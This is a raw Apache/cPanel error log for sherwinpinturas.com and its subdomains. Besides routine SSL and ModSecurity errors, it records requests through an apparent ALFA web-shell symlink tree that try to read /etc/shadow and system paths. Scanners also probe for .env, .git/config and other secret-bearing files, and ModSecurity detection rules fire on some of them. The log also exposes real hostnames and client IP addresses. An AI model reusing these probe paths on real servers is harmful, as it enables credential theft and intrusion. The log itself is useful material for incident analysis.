[Mon Oct 26 22:43:17.815483 2026] [core:crit] [pid 3144821:tid 3144821] (13)Permission denied: [client 216.244.66.250:51842] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/map_files/' is executable
[Mon Oct 26 22:43:17.815498 2026] [core:crit] [pid 3144821:tid 3144821] (13)Permission denied: [client 216.244.66.250:51842] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/fdinfo/' is executable
[Mon Oct 26 22:43:18.181771 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.87.62.248:7387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:26.056976 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.34.160.116:50690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/.amplifyrc"] [unique_id "auAPzix89dM6HoCaCT-nkwAAABU"]
[Mon Oct 26 22:43:26.057016 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.34.160.116:50690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/.amplifyrc"] [unique_id "auAPzix89dM6HoCaCT-nkwAAABU"]
[Mon Oct 26 22:43:27.031962 2026] [security2:error] [pid 3145309:tid 3145309] [client 34.34.160.116:50762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/.env.live"] [unique_id "auAPziPy6cZZwVux8hw4SAAAAAg"]
[Mon Oct 26 22:43:27.032005 2026] [security2:error] [pid 3145309:tid 3145309] [client 34.34.160.116:50762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/.env.live"] [unique_id "auAPziPy6cZZwVux8hw4SAAAAAg"]
[Mon Oct 26 22:43:28.713763 2026] [security2:error] [pid 3145332:tid 3145332] [client 34.34.160.116:50756] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/appsettings.Development.json"] [unique_id "auAPz9E9KO0LyYIZpk3yNAAAAA0"]
[Mon Oct 26 22:43:28.713817 2026] [security2:error] [pid 3145332:tid 3145332] [client 34.34.160.116:50756] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpcontacts.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpcontacts/appsettings.Development.json"] [unique_id "auAPz9E9KO0LyYIZpk3yNAAAAA0"]
[Mon Oct 26 22:43:29.669227 2026] [ssl:error] [pid 3146326:tid 3146326] (70014)End of file found: [client 18.232.36.1:43893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:30.428814 2026] [ssl:error] [pid 3146326:tid 3146326] (70014)End of file found: [client 34.197.28.78:10030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:38.240118 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 34.196.114.170:22728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:42.173147 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 3.213.213.161:25301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:46.240208 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 44.221.227.90:50694] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:58.161186 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 3.225.45.252:63139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:44:06.150230 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 34.206.193.60:19935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:44:14.727766 2026] [authz_core:error] [pid 3142605:tid 3142605] [client 172.232.108.36:27370] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:44:18.139386 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 52.54.157.23:45767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:1b/eject
[Mon Oct 26 22:44:26.385312 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 52.71.46.142:4532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:44:30.161401 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 50.16.216.166:7836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS0/device/driver/uevent
[Mon Oct 26 22:44:36.466478 2026] [core:error] [pid 3146367:tid 3146367] (13)Permission denied: [client 216.244.66.250:56520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/shadow
[Mon Oct 26 22:44:42.287487 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 54.210.152.179:27838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS0/close_delay
[Mon Oct 26 22:44:44.225387 2026] [proxy_fcgi:error] [pid 3146331:tid 3146331] [client 82.102.18.190:56858] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:44:46.228579 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 34.233.114.237:28532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory14/subsystem/uevent
[Mon Oct 26 22:44:50.157033 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 3.225.9.97:46732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:02.446797 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 52.22.87.224:63498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:22.220059 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 34.231.156.59:2505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:30.141206 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 54.83.56.1:6056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:30.344735 2026] [authz_core:error] [pid 3146368:tid 3146368] [client 66.132.195.189:46164] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 22:45:30.345323 2026] [security2:error] [pid 3146368:tid 3146368] [client 66.132.195.189:46164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "miescurlax.sherwinpinturas.com"] [uri "/"] [unique_id "auAQSoi_xUBkO7bS12SqKwAAAA8"]
[Mon Oct 26 22:45:30.345374 2026] [security2:error] [pid 3146368:tid 3146368] [client 66.132.195.189:46164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "miescurlax.sherwinpinturas.com"] [uri "/"] [unique_id "auAQSoi_xUBkO7bS12SqKwAAAA8"]
[Mon Oct 26 22:45:38.201718 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 52.6.97.88:18736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:42.153424 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 3.229.2.217:16475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:46.266090 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 3.230.224.6:65507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:50.138030 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 3.212.86.97:6493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:45:54.131020 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 3.221.222.168:57077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:02.125862 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 18.235.81.246:53935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:06.551970 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 54.83.23.103:57648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:19.941270 2026] [authz_core:error] [pid 3146367:tid 3146367] [client 66.132.195.189:42164] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 22:46:26.137959 2026] [ssl:error] [pid 3146392:tid 3146392] (5)Input/output error: [client 44.213.202.136:45113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:38.359581 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 3.212.205.90:19896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:46.144426 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 35.168.238.50:45152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:46:50.148831 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 100.28.44.58:15665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:02.325795 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 44.197.76.210:35692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:06.168222 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 3.216.227.216:48267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:22.124258 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 52.202.233.37:57520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/pci/devices/0000:00:03.0/firmware_node/subsystem/drivers/ac/bind
[Mon Oct 26 22:47:26.131414 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 34.239.85.139:15298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:30.141414 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 34.227.234.246:50203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:46.256629 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 52.3.26.180:12942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:48.089550 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 185.191.171.15:39946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:47:54.375039 2026] [core:error] [pid 3146367:tid 3146367] (13)Permission denied: [client 52.70.138.176:35835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory12/node0/memory16/subsystem/drivers_probe
[Mon Oct 26 22:48:06.896446 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 3.215.221.125:25535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:10.586036 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 100.29.107.38:14173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:14.248258 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 18.213.240.226:35849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:22.168421 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 52.54.95.127:25363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:30.140367 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 23.21.179.120:5280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:11/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/resource4
[Mon Oct 26 22:48:34.196712 2026] [security2:error] [pid 3142605:tid 3142605] [client 3.216.13.10:14107] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:0c/subsystem/devices/LNXCPU:01/power/"] [unique_id "auARAkV4AUzwl86DWirnjAAAABI"]
[Mon Oct 26 22:48:34.196755 2026] [security2:error] [pid 3142605:tid 3142605] [client 3.216.13.10:14107] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:0c/subsystem/devices/LNXCPU:01/power/"] [unique_id "auARAkV4AUzwl86DWirnjAAAABI"]
[Mon Oct 26 22:48:38.173884 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 44.213.202.136:38997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:42.275757 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 54.85.126.86:33331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:46.149683 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 107.22.208.39:59809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:54.126180 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 52.200.54.136:20896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:48:54.481148 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 185.191.171.1:10444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/objs_per_slab
[Mon Oct 26 22:49:06.130992 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 3.227.180.70:64152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:10.149002 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 34.194.233.48:57018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:18.227239 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 3.232.82.72:26034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:22.167180 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 52.70.209.13:45040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/unbind
[Mon Oct 26 22:49:26.130533 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 34.205.163.103:48912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:46.200214 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 44.218.170.184:25992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:50.143585 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 50.19.79.213:52476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:54.243673 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.1.157.90:7878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:49:58.139505 2026] [security2:error] [pid 3146331:tid 3146331] [client 52.71.216.196:43067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/"] [unique_id "auARVh7MuKI4tGMtwYeMjgAAAAo"]
[Mon Oct 26 22:49:58.139545 2026] [security2:error] [pid 3146331:tid 3146331] [client 52.71.216.196:43067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/"] [unique_id "auARVh7MuKI4tGMtwYeMjgAAAAo"]
[Mon Oct 26 22:50:02.125394 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 34.239.197.197:56132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:50:18.121786 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 35.169.240.53:12753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:50:46.186758 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 54.87.62.248:20855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:50:50.216968 2026] [ssl:error] [pid 3145297:tid 3145297] (5)Input/output error: [client 54.162.69.192:11101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:50:54.290458 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 52.202.233.37:38728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:51:03.438327 2026] [core:error] [pid 3146368:tid 3146368] (13)Permission denied: [client 85.208.96.196:12638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/min_partial
[Mon Oct 26 22:51:06.362086 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 34.206.249.188:21378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:51:22.188210 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 18.215.112.101:22957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:51:30.166372 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 23.20.178.124:60709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:51:54.240968 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 44.195.145.102:13574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:52:02.200189 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 3.224.215.150:44300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:52:06.200876 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 52.5.242.243:53417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:52:10.376872 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 18.209.201.119:8666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:52:18.197935 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 35.169.119.108:1392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/rescan
[Mon Oct 26 22:52:24.556919 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 185.191.171.6:50744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slab_size
[Mon Oct 26 22:52:38.094106 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 85.208.96.193:44334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/alloc_calls
[Mon Oct 26 22:52:38.392390 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 3.218.103.254:58572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:52:55.008360 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 85.208.96.209:13914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/shrink
[Mon Oct 26 22:53:02.243682 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 3.219.81.66:55423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:10.189189 2026] [ssl:error] [pid 3147426:tid 3147426] (70014)End of file found: [client 3.232.102.111:31989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:14.460021 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 3.210.29.96:54260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:22.461945 2026] [core:error] [pid 3146365:tid 3146365] (13)Permission denied: [client 54.210.155.69:24665] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/event1/subsystem/input1/device/driver/serio0/drvctl
[Mon Oct 26 22:53:26.255064 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 44.223.232.55:20060] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:30.205654 2026] [core:error] [pid 3147448:tid 3147448] (13)Permission denied: [client 34.234.197.175:20506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:03/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu0/crash_notes
[Mon Oct 26 22:53:33.378188 2026] [security2:error] [pid 3145296:tid 3145296] [client 107.172.76.131:57187] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auASH4osHI5IdM2X3iJ01gAAAAI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 22:53:33.378242 2026] [security2:error] [pid 3145296:tid 3145296] [client 107.172.76.131:57187] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auASH4osHI5IdM2X3iJ01gAAAAI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 22:53:34.286371 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 44.206.93.215:31940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:46.416843 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 54.147.238.89:61560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:53:58.906428 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 35.173.38.202:9163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:22.468395 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 34.194.95.99:16680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:26.229544 2026] [ssl:error] [pid 3147568:tid 3147568] (70014)End of file found: [client 3.208.156.9:41446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:30.243914 2026] [core:error] [pid 3147569:tid 3147569] (13)Permission denied: [client 3.216.227.216:61272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:02/subsystem/devices/device:1d/eject
[Mon Oct 26 22:54:34.593895 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.45.77.169:38703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:38.351964 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 3.214.176.44:33998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:50.192872 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 23.21.227.240:9368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:54.221513 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 23.20.178.124:25860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:54:58.370934 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 107.20.224.184:3403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/wakeup/wakeup3/device/physical_node/subsystem/devices/0000:00:02.0/subsystem/drivers/thunderbolt/remove_id
[Mon Oct 26 22:55:02.221391 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 44.223.193.255:9780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:10.419305 2026] [core:error] [pid 3146368:tid 3146368] (13)Permission denied: [client 54.86.59.155:52283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/drvctl
[Mon Oct 26 22:55:22.383801 2026] [ssl:error] [pid 3147513:tid 3147513] (5)Input/output error: [client 98.82.63.147:38974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:26.265524 2026] [core:error] [pid 3147448:tid 3147448] (13)Permission denied: [client 3.93.211.16:3300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input5/device/subsystem/drivers/amd_gpio/bind
[Mon Oct 26 22:55:32.262278 2026] [security2:error] [pid 3147515:tid 3147515] [client 176.65.132.239:15708] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpDtlUsnco091MEflgQAAAAc"]
[Mon Oct 26 22:55:32.262494 2026] [security2:error] [pid 3147515:tid 3147515] [client 176.65.132.239:15708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpDtlUsnco091MEflgQAAAAc"]
[Mon Oct 26 22:55:32.262807 2026] [security2:error] [pid 3147515:tid 3147515] [client 176.65.132.239:15708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpDtlUsnco091MEflgQAAAAc"]
